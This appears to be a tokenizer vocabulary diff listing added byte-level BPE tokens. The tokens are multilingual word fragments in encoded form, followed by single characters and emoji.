+Ġngạc +×Ļ×Ļש +×Ļ×Ļש×ķ×ij +fäll +fällig +ĠÑĤÑĢебÑĥеÑĤÑģÑı +Ġcará +Ġcarácter +ĠprincÃŃpio +ĠÅĤaz +ĠÅĤazien +ĠÅĤazienk +Ġgiãn +ÑģÑĤÑĢаива +Ùħساب +ÙħسابÙĤØ© +à¹Ģà¸Ħรืà¹Īà¸Ńà¸ĩà¸Ķืà¹Īม +ترÙĥÙĬب +volução +ĠÐŁÐ¾Ñĩ +ĠÐŁÐ¾Ñĩем +ĠÐŁÐ¾ÑĩемÑĥ +казалоÑģÑĮ +ĠпÑĢименениÑı +à¹Ģà¸Ĺียม +íĮĶ +à¸Ĥà¹īà¸Ńà¹Ģสà¸Ļà¸Ń +à¸Ľà¸±à¸įà¸įา +ĠобÑĥÑĩ +ĠобÑĥÑĩениÑı +ĠÑģеÑĢи +ĠÑģеÑĢиал +Ġinglés +ĠÙĦÙĥرة +Ġ×ĺ׾ +Ġ×ĺ׾פ×ķף +Ġìłij +Ġìłijê·¼ +×IJ×ķ×Ĵ +×IJ×ķ×Ĵ×ķס +×IJ×ķ×Ĵ×ķס×ĺ +ĠболÑĮÑĪое +ĠÐļонеÑĩно +×¢×Ļת×ķ׳ +×¢×Ļת×ķ׳×IJ×Ļ +Ġкнопк +Ġзн +ĠзнаÑĤÑĮ +ĠÄijá»± +ĠÄijá»±ng +влаж +влажн +×ŀ×Ļ×ĺ×ij +ãĤ¬ãĤ¤ +ãĤ¬ãĤ¤ãĥī +.......... +Ġà¸ģุม +Ġà¸ģà¸¸à¸¡à¸łà¸²à¸ŀ +Ġà¸ģà¸¸à¸¡à¸łà¸²à¸ŀัà¸Ļ +Ġà¸ģà¸¸à¸¡à¸łà¸²à¸ŀัà¸Ļà¸ĺ +Ġà¸ģà¸¸à¸¡à¸łà¸²à¸ŀัà¸Ļà¸ĺà¹Į +bez +bezpieczeÅĦst +bezpieczeÅĦstw +ãĥijãĥijæ´» +عاط +عاطÙģ +ĠÄijáºŃm +ĠзÑĢ +ĠзÑĢениÑı +Ġborç +Ġнедел +ĠнеделÑİ +Ġhá»ı +Ġhá»ıng +ìŀ¥ìķł +ìŀ¥ìķłìĿ¸ +ĠاÙĦعÙĦاÙĤØ© +Ġíģ¬ +Ġíģ¬ê²Į +à¹Ħรà¹Ī +à¸ļาà¸Ķ +à¸ļาà¸Ķà¹Ģà¸Īà¹ĩà¸ļ +à¸Ŀรั +à¸Ŀรัà¹Īà¸ĩ +à¸Ŀรัà¹Īà¸ĩà¹Ģศ +à¸Ŀรัà¹Īà¸ĩà¹Ģศส +רע×Ļ +רע×Ļ×ķ׳×ķת +ĠëĮ +ĠëĮĵ +ĠëĮĵê¸Ģ +Ġnajb +Ġnajbli +Ġnajbliż +Ġnajbliższ +ĠиÑģполÑĮзÑĥеÑĤÑģÑı +ĠcientÃŃf +ĠcientÃŃfico +×¢×ŀ×§ +Ġgợi +Ø´ØŃÙĨ +ĠÅĽm +ĠÅĽmier +ĠÅĽmierci +à¸Ħาสิà¹Ĥà¸Ļà¸Ńà¸Ńà¸Ļà¹Ħลà¸Ļà¹Į +×Ĺש×ijת×Ļ +Ġningu +Ġninguém +è¾¼ãĤģ +ãģ· +ĠÑĥг +ĠÑĥгол +ï½° +פת×Ļ×Ĺ +פת×Ļ×Ĺת +Ġ×Ķר×IJש×ķ׳×Ļ×Ŀ +pósito +ãĤŃãĥ¬ãĤ¤ +ãģ©ãģĵãĤį +à¹Ģà¸Ĺà¹Īาà¹Ħ +à¹Ģà¸Ĺà¹Īาà¹Ħหร +à¹Ģà¸Ĺà¹Īาà¹Ħหรà¹Ī +ĠинÑĤеÑĢÑĮеÑĢ +ĠØŃاج +ĠØŃاجة +สีà¸Ĥาว +ìĸ¼ +Ġná»Ļ +Ġná»Ļp +ĠÃŃnd +ĠÃŃndice +สำรวà¸Ī +Ġкаждой +Ġhotéis +ĠnastÄĻ +ĠnastÄĻpn +Ġ×Ķ×§×ķ×ĵ +Ġ×Ķ×§×ķ×ĵ×Ŀ +פ×ķפ +פ×ķפ×ķ׾ +פ×ķפ×ķ׾ר×Ļ +вÑĪей +ãĤ·ãĥ³ãĥĹ +ãĤ·ãĥ³ãĥĹãĥ« +ĠzdjÄĻÄĩ +ĠгÑĢÑĥппа +ĠпомеÑī +ĠпомеÑīениÑı +ãģ©ãģĨãģĦãģĨ +ĠиÑģпÑĭÑĤа +ĠogÅĤ +ĠogÅĤos +ĠogÅĤoszen +ĠogÅĤoszeni +สรà¹īาà¸ĩสรร +สรà¹īาà¸ĩสรรà¸Ħà¹Į +à¸ŀรรà¸ĵ +ĠçıkÄ±ÅŁ +ĠÑĩаÑģÑĤноÑģÑĤи +Ġ×ķ×Ļ×ķתר +ç¶ļãģįãĤĴ +ç¶ļãģįãĤĴèªŃ +ç¶ļãģįãĤĴèªŃãĤĢ +à¸ģรั +à¸ģรัม +гÑĢаÑĦ +Ġвлад +ĠвладелÑĮ +ĠвладелÑĮÑĨ +ĠistediÄŁ +ĠistediÄŁiniz +×ij×ľ×¢ +×ij×ľ×¢×ĵ×Ļ +ÙħÙĪØ§Ùģ +ÙħÙĪØ§ÙģÙĤØ© +Ġ×Ļ×ķר +Ġ×Ļ×ķרק +ãĤ«ãĥ¼ãĥīãĥŃãĥ¼ãĥ³ +ĠاÙĦÙħØ´ÙĥÙĦ +ĠاÙĦÙħØ´ÙĥÙĦØ© +ĠêµŃíļĮ +ספ×ĺ +ספ×ĺ×ŀ +ספ×ĺ×ŀ×ijר +Ġìĸ´ëłµ +ÙĥاÙħ +ÙĥاÙħÙĬرا +schlü +schlüsse +ĠØ«ÙĨ +ĠØ«ÙĨائÙĬ +ìī½ +ĠÐŀÑģоб +ĠÐŀÑģобенно +ĠинвеÑģÑĤи +ĠинвеÑģÑĤиÑĨи +اØŃتÙħ +اØŃتÙħاÙĦ +EÄŀ +EÄŀİ +íķĺê²łëĭ¤ +Ġ×IJ×ijר×Ķ +Ġ×IJ×ijר×Ķ×Ŀ +Ġ×ij×Ĺ×Ļ׳×Ŀ +Ø£ÙĪØ¶ +Ø£ÙĪØ¶Ø§Ø¹ +Ġdél +Ġdélai +Ġ×IJ×ķ×Ķ×ij×Ļ×Ŀ +ĠÑģоÑħ +ĠÑģоÑħÑĢ +ĠÑģоÑħÑĢани +ĠдоÑģÑĤиж +ĠдоÑģÑĤижени +สิà¹Īà¸ĩà¹ģ +สิà¹Īà¸ĩà¹ģวà¸Ķ +สิà¹Īà¸ĩà¹ģวà¸Ķล +สิà¹Īà¸ĩà¹ģวà¸Ķลà¹īà¸Ńม +ĠاÙĦÙħباشر +ĠÑĦиг +ĠÑĦигÑĥÑĢ +можем +׾×ŀ×Ļ×ĵ×Ķ +Ġciné +Ġcinéma +Ġbada +ĠbadaÅĦ +جبÙĩØ© +Ġдеп +ĠдепÑĥÑĤ +ĠдепÑĥÑĤаÑĤ +Ġdistância +ĠاÙĦÙħعار +ĠاÙĦÙħعارضة +thèse +ünc +üncü +Ġданного +ĠBelgi +ĠBelgië +Ġ×ij×ij×§ +Ġ×ij×ijקש×Ķ +ยà¹Īาà¸Ļ +Ġsolução +Ġ×Ķצ×ĺר +Ġ×Ķצ×ĺרפ×ķ +ĠØ£ÙĨØŃ +ĠØ£ÙĨØŃاء +ĠدÙħØ´ +ĠدÙħØ´ÙĤ +มัà¹ī +มัà¹īย +Ùħغرب +استعÙħاÙĦ +ĠSÅĤow +ĠëıĻìĭľ +ĠëıĻìĭľìĹIJ +ĠÑģоÑģ +ĠÑģоÑģед +ì²ŃìĨĮ +ì²ŃìĨĮëħĦ +ĠгÑĢаÑĦ +ĠгÑĢаÑĦик +ĠìŀijìĿĢ +Ġyeti +ĠyetiÅŁtir +ĠìĿ´ê²ĥìĿ´ +หà¹Īาà¸ĩ +Ø¥ÙħÙĥاÙĨ +Ø¥ÙħÙĥاÙĨÙĬØ© +استعراض +Ùħخدر +ĠÑĩÑĥÑĤÑĮ +ÙħدÙĬر +ÙħدÙĬرÙĬØ© +Ġà¹Ģมษ +Ġà¹Ģมษายà¸Ļ +ĠмеÑħ +ĠмеÑħаниз +ĠмеÑħанизм +ĠÑģÑĥм +ĠÑģÑĥммÑĥ +Ġvö +Ġvöll +Ġvöllig +ĠдÑĢÑĥз +ĠдÑĢÑĥзÑĮÑı +ãĤĴåĪ©ç͍ãģĹãģ¦ +à¸ļรรà¸Īุ +pożycz +×ŀש׼ +×ŀ×©×Ľ×ł×ª +×ŀ×©×Ľ×ł×ª×IJ +Ġeuropéen +Ġproprié +Ġpropriétaire +Ġkhấu +ãģĦãģŁãģłãģijãĤĭ +Ġtecrü +Ġtecrübe +×Ķ×ij +×Ķ×ij׳×Ķ +ĠcuÌ +ĠcuÌī +ĠcuÌīa +×IJ×ķ×ķ +×IJ×ķ×ķ×Ļר×Ķ +Ġ׼×ķ׾×ķ +Ulus +Uluslararası +Ġ׳×ķת +Ġ׳×ķ×ª×Ł +ãģ«åIJij +ãģ«åIJijãģijãģ¦ +ë¹Ľ +à¸Ĺัà¸ģษ +à¸Ĺัà¸ģษะ +سÙĤÙĪ +سÙĤÙĪØ· +Ġвн +ĠвнеÑĪ +ĠвнеÑĪне +Ġurz +ĠurzÄĻd +Ġámb +Ġámbito +à¸Ńà¸ĺิ +à¸Ńà¸ĺิà¸ļาย +ĠÅĤad +ĠÅĤadn +ê±´ì¶ķ +wództ +wództw +Ġquestões +Ġשק +Ġשק×Ļ×ij׾ +ĠmiejscowoÅĽci +Ġвал +ĠвалÑİÑĤ +häuser +หà¸Ļà¸Ńà¸ĩ +ãģ¨åħ± +ãģ¨åħ±ãģ« +ãĥıãĥ¼ãĥī +Ġê°ľìµľ +ĠоÑģновном +ĠмÑıÑģ +اعت +اعتÙĤاÙĦ +สà¸ĸิ +สà¸ĸิà¸ķิ +Ngu +Nguá»ĵn +ĠÙħجÙĦ +ĠÙħجÙĦØ© +à¹ģà¸Ĥà¸Ļ +ĠاÙĦÙĦÙĬبÙĬ +פע×Ļ׾×ķ×Ļ×ķת +Ġ×Ķרפ×ķ×IJ×Ļ +פר×ķפ +פר×ķפ×Ļ׾ +ק׾×IJ +ק׾×IJס×Ļ +ÙĥتشÙģ +ãģ«ãģªãģ£ãģ¦ãģĹãģ¾ãģĨ +à¹Ģà¸Ħลà¹ĩà¸Ķ +à¹Ģà¸Ħลà¹ĩà¸Ķลัà¸ļ +Ġì»´ +Ġì»´íĵ¨ +Ġì»´íĵ¨íĦ° +Ġ×Ĺ×Ļ×ķ×ij×Ļ +Ġnäm +Ġnämlich +åij¼ãģ° +åij¼ãģ°ãĤĮ +ĠÑĢол +ĠÑĢоли +Ġspécialisé +à¸Ļวัà¸ķ +à¸Ļวัà¸ķà¸ģรรม +ÙĨصÙĪØµ +пеÑĢед +пеÑĢедаÑĩ +thèque +Ġר×IJ×Ļת×Ļ +ãĥĢãĤ¦ãĥ³ +ãĤıãģĭ +ãĤıãģĭãģ£ãģ¦ +беÑĢеж +ĠÑģек +ĠÑģекÑĢ +ĠÑģекÑĢеÑĤ +ĠпоÑģÑĤоÑıнн +à¸Ĥà¸Ļสà¹Īà¸ĩ +Ġmük +Ġmükem +Ġmükemmel +еÑĤеÑģÑĮ +ĠاÙĦسÙĨÙĪØ§Øª +ĠìłĦíĺĢ +Ġ×Ķ×ŀ×§×ķר×Ļ +Ġmüd +Ġmüdah +Ġmüdahale +Ġwyb +Ġwybór +Ġtendência +إدار +إدارÙĬØ© +Ġunterstützen +ת×ijר +ת×ijרר +Ġdiá +Ġdiálogo +ĠÃĸnce +ĠÃĸnceki +ãĤ¹ãĥĿãĥĥãĥĪ +ëĦ£ +ĠGeli +ĠGeliÅŁ +ãĤĴéĢļ +ãĤĴéĢļãģĹãģ¦ +ĠFuÃŁball +Ġsalari +Ġsalarié +ĠпÑĢодÑĥкÑĤов +صÙģÙĤØ© +รวà¸ļ +รวà¸ļรวม +à¹ĥà¸Ļà¸IJาà¸Ļ +à¹ĥà¸Ļà¸IJาà¸Ļะ +Ġkayna +Ġkaynaģı +ĠìŀijíĴĪ +ĠвÑĭÑĢаж +ĠвÑĭÑĢажен +ĠÑģÑĤеп +ĠÑģÑĤепени +ĠاÙĦÙħÙĪØ¬ÙĪØ¯ +ĠاÙĦÙħÙĪØ¬ÙĪØ¯Ø© +ลà¹īม +ĠnajczÄĻ +ĠnajczÄĻÅĽcie +ĠnajczÄĻÅĽciej +Ġzwy +Ġzwyk +ĠzwykÅĤ +Ġê·¸ëłĩì§Ģ +à¸ģระà¸Ī +à¸ģระà¸Īาย +Ġëĭµ +Ġëĭµë³Ģ +ĠÑĢеак +ĠÑĢеакÑĨи +ĠÅĽwież +ĠÑģÑĤоимоÑģÑĤи +ÙħÙĨاÙĤ +ÙħÙĨاÙĤØ´ +ÙħÙĨاÙĤشة +ĠÑħоÑĩÑĥ +ãĥľãĥ¼ãĥī +Ġróżnic +ĠкÑĢÑĭ +ĠкÑĢÑĭÑĪ +âľĵ +ãĤ³ãĥ³ãĥĨãĥ³ +ãĤ³ãĥ³ãĥĨãĥ³ãĥĦ +ĠпÑĢедпоÑĩ +×ŀר×ij×Ļת +ĠØ´Ùĥ +ĠØ´Ùĥرا +Ġдал +Ġдалек +Ġдалеко +برÙĬØ· +برÙĬطاÙĨÙĬا +عÙĨا +عÙĨاÙĬØ© +ĠÑĢаÑģÑģказ +ĠÑĢаÑģÑģказÑĭва +Ø£ÙĦÙĪ +Ø£ÙĦÙĪØ§ÙĨ +æĮģãģ£ãģ¦ +æĮģãģ£ãģ¦ãģĦ +Ùħبادئ +×Ķ×¢×ijר +×Ķ×¢×ijרת +Ġyayı +Ġyayıml +Ġyayımla +mát +máticos +à¸ģัà¸ĩ +à¸ģัà¸ĩวล +Ġ×ľ×¤×ª +Ġ×ľ×¤×ª×ķ×Ĺ +à¸ŀฤà¸ķิ +à¸ŀฤà¸ķิà¸ģรรม +íĤ¬ +ĠокÑĢÑĥг +Ġ×ŀצ×ķ×ķ×Ķ +ÐĽÐµÐ½Ð¸ +ÐĽÐµÐ½Ð¸Ð½ +ĠTriá»ģu +ãĤ³ãĥŁãĥ¥ +ãĤ³ãĥŁãĥ¥ãĥĭ +ãĤ³ãĥŁãĥ¥ãĥĭãĤ± +ãĤ³ãĥŁãĥ¥ãĥĭãĤ±ãĥ¼ãĤ·ãĥ§ãĥ³ +ÙĥÙĨÙĬ +ÙĥÙĨÙĬسة +ãĤĴä¸Ńå¿ĥ +ãĤĴä¸Ńå¿ĥãģ« +ĠmiÄĻdz +ĠmiÄĻdzyn +ĠmiÄĻdzynar +ĠmiÄĻdzynarod +ĠmiÄĻdzynarodow +ÙĦÙĨ +ÙĦÙĨدا +برش +برشÙĦÙĪÙĨ +برشÙĦÙĪÙĨØ© +à¸ģระà¸ķุ +à¸ģระà¸ķุà¹īà¸Ļ +Ġgı +Ġgıda +à¸Ľà¸£à¸°à¸Ĺัà¸ļ +à¸Ľà¸£à¸°à¸Ĺัà¸ļà¹ĥà¸Ī +Ġë¶Ī구 +Ġë¶Ī구íķĺê³ł +ĠÙĨØ· +ĠÙĨطاÙĤ +ĠÐľÐ¾Ð¶ÐµÑĤ +Präs +Präsident +ĠÑģкоÑĢ +ĠÑģкоÑĢоÑģÑĤÑĮ +Ġ×Ķ×ij×ķקר +еÑħаÑĤÑĮ +Ġgạo +Ġש×IJ×Ļ׳×Ŀ +Ġ×ij׳×ķ×Ĵ +Ġ×ij׳×ķ×Ĵ×¢ +ĠопиÑģание +Ġuczni +Ġuczniów +à¹Ģà¸Ńà¹ĩà¸Ļ +Ġتش +ĠتشرÙĬÙĨ +Ġnhãn +빨 +Ġcaractère +×¢×ľ×Ļ +×¢×ľ×Ļ×Ļ×Ķ +楽ãģĹãĤģãĤĭ +ĠÑģаÑħ +ĠÑģаÑħаÑĢ +дÑĥмаÑĤÑĮ +ĠÐĴозможно +صÙĬاÙĨ +صÙĬاÙĨØ© +ömür +สล +สลà¹ĩ +สลà¹ĩà¸Ń +สลà¹ĩà¸Ńà¸ķ +롯 +Ġthói +grÃ¶ÃŁe +ĠksiÄĻ +ĠksiÄĻg +ĠÑĢом +ĠÑĢоман +ÙĤاسÙħ +×ŀ×ij×ķ×Ĵ +×ŀ×ij×ķ×Ĵר×Ļ×Ŀ +besch +beschäft +beschäftig +×Ķצע×Ķ +ĠÃģrea +ĠзаÑıвк +Ĺ +ĠлÑİбого +Ġม +Ġมà¸ģร +Ġมà¸ģราà¸Ħม +ÑĦиз +ÑĦизиÑĩеÑģк +инÑĦ +инÑĦек +инÑĦекÑĨи +اÙĦØ· +اÙĦطائÙģ +Ġколл +ĠколлекÑĤив +езжа +ĠسبØŃ +ĠسبØŃاÙĨ +ĠسبØŃاÙĨÙĩ +schlä +schläge +Ġди +Ġдиаг +ĠдиагноÑģÑĤ +ĠоÑĤмеÑĤиÑĤÑĮ +ТЬ +ĠاÙĦدر +ĠاÙĦدراسÙĬ +עצ×ŀ +עצ×ŀ×IJ×ķת +Ġdémarch +Ġdémarche +Ġ×ĺ×ķ×¢ +Ġ×ĺ×ķ×¢×Ł +Ġfuncionários +ỵ +׾׼×IJ +׾׼×IJ×ķר×Ķ +à¸ĭà¹Ī +à¸ĭà¹Īà¸Ńม +ĠÑĩÑĥв +ĠÑĩÑĥвÑģÑĤво +âĸ¼ +пÑĥÑī +пÑĥÑīен +ĠмеÑĢ +ĠмеÑĢоп +ĠмеÑĢопÑĢи +ĠмеÑĢопÑĢиÑıÑĤиÑı +Ġuçu +ĠuçuÅŁ +ãĤĴåĪ©ç͍ãģĻãĤĭ +aÄŁ +aÄŁlı +ìĺĪìĪł +à¹ģยà¹Ī +ĠاÙĦÙĥÙħ +ĠاÙĦÙĥÙħبÙĬ +ĠاÙĦÙĥÙħبÙĬÙĪØªØ± +تÙĪÙĬ +تÙĪÙĬتر +à¹Ģà¸Ĭีà¹Īยว +à¹Ģà¸Ĭีà¹Īยวà¸Ĭา +à¹Ģà¸Ĭีà¹Īยวà¸Ĭาà¸į +á»Ķ +Ġhiếm +ذاÙĥرة +Ġ×Ķ×ŀ×Ļ×ķ×Ĺ×ĵ +ĠìĪľ +ĠìĪľê°Ħ +ĠKı +ĠKısa +ĠgeleceÄŁi +пÑĢоÑĦеÑģÑģиона +пÑĢоÑĦеÑģÑģионал +Ġogó +Ġogóle +ĠgÅĤów +ĠgÅĤówne +ĠÑģÑĤилÑĮ +×IJפ׾ +×IJפ׾×Ļ×§ +×IJפ׾×Ļקצ×Ļ×Ķ +สมารà¹Į +สมารà¹Įà¸Ĺ +สมารà¹Įà¸Ĺà¹Ĥà¸Ł +สมารà¹Įà¸Ĺà¹Ĥà¸Łà¸Ļ +Ġthánh +ÐŁÐ¾Ð´ +ÐŁÐ¾Ð´ÑĢоб +ÐŁÐ¾Ð´ÑĢобнее +ĠاÙĦتÙĪÙĨ +ĠاÙĦتÙĪÙĨسÙĬ +Ġbahçe +à¹ģà¸ģà¹īà¸Ľà¸±à¸įหา +éducation +europ +europä +europäische +ĠKsi +ĠKsiÄĻ +ĠëĦĺ +ĠëĦĺìĸ´ +Ġvüc +Ġvücud +Ġyayg +Ġyaygın +Ġniekt +Ġniektóry +Ġniektórych +ãģŃãģĩ +Ġкаж +ĠкажеÑĤÑģÑı +каж +кажеÑĤ +ĠاÙĦدÙĬÙħÙĤرا +ĠاÙĦدÙĬÙħÙĤراط +ĠاÙĦدÙĬÙħÙĤراطÙĬØ© +æŃ© +æŃ©ãģĦãģ¦ +Ġvaz +Ġvazge +Ġvazgeç +ĠминималÑĮ +ĠминималÑĮн +ãĥijãĤ¿ +ãĥijãĤ¿ãĥ¼ãĥ³ +ĠëĬ +ĠëĬIJ +ĠëĬIJëĤĮ +ãģ¡ãĤĩãģĨ +ãģ¡ãĤĩãģĨãģ© +Ġà¸ģร +Ġà¸ģรà¸ģà¸İ +Ġà¸ģรà¸ģà¸İาà¸Ħม +تجدÙĬد +ĠشاÙħÙĦ +หลัà¸ģà¸IJาà¸Ļ +ĠмаÑĢÑĪ +ĠмаÑĢÑĪÑĢÑĥÑĤ +ĠvÃŃt +ĠvÃŃtima +Ġquizá +aygı +×ĵ×ijר×Ļ×ķ +Ġизд +Ġиздели +ĠизделиÑı +пла +плаÑĩ +плаÑĩива +ä»»ãģĽ +Ġéquipé +ä¹ħãģĹãģ +ä¹ħãģĹãģ¶ +ä¹ħãģĹãģ¶ãĤĬ +ĠкаÑĤ +ĠкаÑĤал +ĠкаÑĤалог +สà¹īม +ĠÑĢей +ĠÑĢейÑĤ +ĠÑĢейÑĤинг +Ġthuyá»ģn +ĠاÙĦÙħÙĤدس +espère +ãģ«åħ¥ãģ£ãģŁ +หมายà¹Ģลà¸Ĥ +ת×Ĺ×ķשת +à¸Ļà¹Īะ +ĠpeÅĤ +ĠpeÅĤne +Ġpérd +Ġpérdida +หมวà¸Ķ +หมวà¸Ķหมูà¹Ī +иÑĩеÑģкÑĥÑİ +çµĤãĤı +çµĤãĤıãģ£ãģŁ +Ġ×Ĵ×ķ×Ĵ׾ +à¸Ĺำà¸Ħวาม +à¸Ĺำà¸Ħวามสะà¸Ńาà¸Ķ +Hotéis +ĠзаÑĢ +ĠзаÑĢегиÑģÑĤ +ĠзаÑĢегиÑģÑĤÑĢи +ĠзаÑĢегиÑģÑĤÑĢиÑĢова +ĠÑģобÑĭÑĤи +ĠÑģобÑĭÑĤиÑı +Ġ×ĸ׼×IJ +ÙħÙĨظÙĪÙħØ© +Ġ×Ķ×ŀצ +Ġ×Ķ×ŀצ×Ļ×IJ×ķת +ÙħÙĥÙĪÙĨ +ÙħÙĥÙĪÙĨات +ä¸ĬãģĮãĤĭ +ĠmÄĻ +ĠmÄĻsk +หรืà¸Ńà¹Ģà¸Ľà¸¥à¹Īา +ëĤ® +Ġnoktas +Ġnoktası +ĠболÑĮÑĪим +ĠлÑĥÑĩÑĪиÑħ +Ø´ÙĩÙĬد +à¸Ńำà¸Ļ +à¸Ńำà¸Ļวย +à¸Ńำà¸Ļวยà¸Ħวาม +à¸Ńำà¸Ļวยà¸Ħวามสะà¸Ķวà¸ģ +Ġев +ĠевÑĢ +ĠевÑĢоп +ĠевÑĢопей +à¸īาย +ìĦŃ +ÙħÙ쨧 +ÙħÙ쨧ÙĪØ¶ +ÙħÙ쨧ÙĪØ¶Ø§Øª +ë¹Į +赤ãģ¡ãĤĥãĤĵ +ĠÑĥдалоÑģÑĮ +ĠХоÑĤ +ĠХоÑĤÑı +przedsiÄĻbiorc +ĠHôm +íķĺìĺĢìĬµëĭĪëĭ¤ +Ġнаг +ĠнагÑĢÑĥз +ĠнагÑĢÑĥзк +Ġ×ij×Ļ׳׾×IJ×ķ×ŀ×Ļ +Ġê°ĢëĬ¥íķľ +ĠHữu +à¸Ńุà¸Ķ +à¸Ńุà¸Ķม +ת×ķפ +ת×ķפע×Ķ +ĠmiÅĤo +ĠmiÅĤoÅĽci +ksiÄħż +ksiÄħżka +ĠاÙĦÙĦعبة +à¸īาà¸ģ +สะสม +×ŀתר +×ŀתר×Ĺש +Ġlégère +Ġ׾צפ +Ġ׾צפ×Ļ×Ķ +ĠиÑģÑĤоÑĢиÑı +ĠãĥĪãĥ© +ĠãĥĪãĥ©ãĥĥãĤ¯ +ĠãĥĪãĥ©ãĥĥãĤ¯ãĥIJãĥĥãĤ¯ +Ġка +ĠкаÑĦе +×ŀס×ŀ×ļ +Ġcüm +Ġcümle +à¹Ģà¸Ħลืà¹Īà¸Ńà¸Ļà¹Ħหว +ãģĬãģĿ +ãģĬãģĿãĤīãģı +ìŀIJëıĻ +ìŀIJëıĻì°¨ +à¸Ńัà¸ķ +à¸Ńัà¸ķà¹Ĥà¸Ļ +à¸Ńัà¸ķà¹Ĥà¸Ļมั +à¸Ńัà¸ķà¹Ĥà¸Ļมัà¸ķิ +ĠÅŁik +ĠÅŁikay +ĠÅŁikayet +extrême +krä +kräfte +ëĤĻ +íķij +ì²Ļ +íĺĪ +ì°į +âĻ¡ +ìŀĶ +뢰 +íĿĶ +íĿIJ +âĩĴ +ë§Ľ +ìĬĪ +á»Ĵ +ìĺµ +âĹİ +íĤ¨ +ê¿Ī +ì΍ +ìĽ¨ +ë§¥ +ï½Ģ +J +Ẩ +ãħİ +ÑĹ +ìĦ¬ +ì¹¼ +ï¼¶ +ìĽł +룴 +Åĥ +ëĤ¼ +ëĭIJ +â̹ +ë¦Ń +ì§IJ +â̤ +Ãħ +뾨 +íĦ¸ +íľĺ +ê²ģ +ë´ħ +Ãĺ +ëŃĶ +ëĺij +âĹĩ +ìĹĺ +ï»´ +ë§¹ +ï¾Ŀ +ìĬ· +íĥķ +ï¼ł +ì»´ +ëłĮ +ì½ľ +ﻹ +ãħł +졸 +ëħ¹ +âĤº +âĸ¶ +íĥIJ +êµ´ +íij¸ +ÑĶ +íͽ +Ðħ +ë°¤ +Ôģ +첨 +ì¶ĺ +ë²Ĺ +멸 +ï¼» +ï¼½ +ï¼· +ì°Į +ÃĴ +íı´ +ìĵ¸ +ì´Į +ëģĶ +ëĶ© +ëĩĮ +ë©Ģ +벨 +ï¼µ +ë§¡ +ëĭ« +฿ +ãģ± +ìĩ¼ +ìºł +뮤 +ê±± +컬 +âĦĥ +ëͱ +ëĥĪ +ìĭ± +íĻĪ +ëŀIJ +ìħĢ +ìłł +ÐĨ +ëłī +ï½ħ +ï½ı +íĻĢ +뼰 +á»® +íĤ¹ +ê½ĥ +ﻤ +ïºĶ +꺼 +ìķī +âϦ +ï½ģ +ìĵ´ +ãĢī +ì°® +ì¤ĺ +Ừ +ëģĦ +ëIJ¨ +ìķĮ +íĿĺ +íħIJ +ãĢĪ +겪 +ëĭ¥ +ê²¼ +á»Į +맨 +ëģĬ +벤 +ëijĶ +íĿ¡ +Ử +ë¬ĺ +ãģī +ëŀ« +íĶĪ +íħį +ìŀĥ +ï½ī +ìģľ +âĸ½ +묻 +âĸ³ +X +ìģĺ +ì¶° +ìĬ´ +ìķ± +ìĩĦ +Ắ +ï´¿ +ï´¾ +âĤ½ +ëĦĵ +룩 +쳤 +ê´ľ +ÃĻ +Ỿ +ï¿£ +ëĵŃ +ë©ĺ +ê»´ +ëł´ +Ðĥ +묵 +ì§Ŀ +ãģº +ðŁĺĤ +ëŀ¬ +ìłĬ +ê´Ħ +ìŀĬ +íŀĮ +ìĦ¯ +âĪĢ +âĸ¡ +ëĢĮ +ëŀĻ +ï½ĥ +Ặ +ï¾Ħ +ïºĺ +ë¹¼ +ÃĮ +âĸ· +ê¸į +ë©ĭ +ãģĥ +ìĺĨ +ìĺ® +몬 +롤 +볬 +ëĬ¦ +âĸª +ì¼ĵ +ìľĪ +ì§§ +ï½½ +ëĥī +ï¾Į +ëĺIJ +ï¼ĥ +á»Ħ +ì´¬ +춤 +ï¼¹ +ï»Ń +âĤ« +ï½ĩ +ìĺ· +ëĸ¨ +âī« +릿 +⾨ +Ù± +쯤 +ê¹Ķ +ðŁĺĬ +ìĪ« +ê³± +êµ³ +ï½ĭ +à¸Į +Äł +ë͏ +ë°ij +ìħĭ +íİ´ +âľħ +íĥij +ëĪĩ +íı¼ +ðŁĺį +ìĺĽ +ﻣ +Ñĺ +ì©Į +ë¦ħ +ìĿį +ク +ëįľ +ãģħ +íݼ +ëĭĿ +ë¿Į +ì¼° +ìĭ« +ë°¥ +íĽĮ +ì¨Į +ë¹Ļ +ï½İ +ë´Ħ +ìĦ¹ +ï½² +ìĮĵ +Òij +ë°į +ëłĢ +íĨ¤ +ッ +ë¤Ħ +꽤 +ï½Ĵ +ìķ¨ +ï½¼ +ê¹IJ +íģIJ +âĦĸ +맺 +ﺮ +ëħģ +겸 +ï»ł +íĬľ +Ź +ë¥Ń +ëĪī +ï½Ķ +íĮ¬ +ìŀĩ +ï¬ģ +ﻨ +ëij¥ +ëŀĦ +Ù¬ +íĭ´ +ìŀī +Ú¾ +ìĽħ +ï»® +ëĭī +âīª +âĹĦ +ëĪĮ +íĽ¼ +ì¤į +Ÿ +줬 +ì¾Į +ï½ĵ +ï¾Ĭ +ðŁı» +ï¾ī +Ðģ +íĺIJ +ï¾Ļ +꼬 +íŀIJ +âĢ¥ +ëŁŃ +ë§ŀ +ìĥ¤ +ïºĴ +íĭ± +ë½ij +Ãķ +âĪļ +ëĤĦ +ê¹Ŀ +ëĨĪ +Ẻ +ìħĪ +ìĮį +âĢ¡ +ï¼± +ìģ¨ +âĺº +ëĴ· +ìĺ³ +ðŁijį +몽 +ëĤŃ +ïºŃ +ë©Ī +á»Ī +íķĢ +ëĭĻ +ë¦ĩ +ìķ¤ +ìį¼ +ãĥµ +Ñ£ +ìľĹ +âŃIJ +ï¾ĺ +íŬ +ê¾¼ +ìķĹ +ï»Į +ê±· +ëħķ +롱 +ìķĬ +ï¾Ģ +ìĩł +íĮ© +ﺪ +ë§Ļ +_ +ê¿Ķ +íİľ +룸 +íĶĶ +ﻳ +ëıķ +ìĭ¼ +á»İ +ë§ĺ +ì¢ĭ +íĨ¡ +ï½± +íĿij +Ỹ +ì¦Į +칸 +ëŃĺ +ï¾Ĺ +ï»ĭ +íĬĢ +ë¥Ļ +콩 +ëģĹ +ëį´ +ìħľ +¸ +ë»IJ +ìĥµ +ê²IJ +ëĵ¬ +룰 +ãħĭ +ìĹī +á»ĸ +ëĦĮ +ï½¶ +ë´ĩ +ëĤ³ +ãĤľ +ëĸ» +íİĢ +ëį© +íķ¸ +÷ +ê¼¼ +ëĶľ +ë°´ +ë©į +âĹ¯ +ìĹij +ìϼ +ïºij +ë¶ķ +롬 +ï½Į +íĨ¨ +ﺴ +ëłĺ +ê°¤ +ìβ +Ñĵ +ìħī +ï»ĵ +ëĪĶ +ëį§ 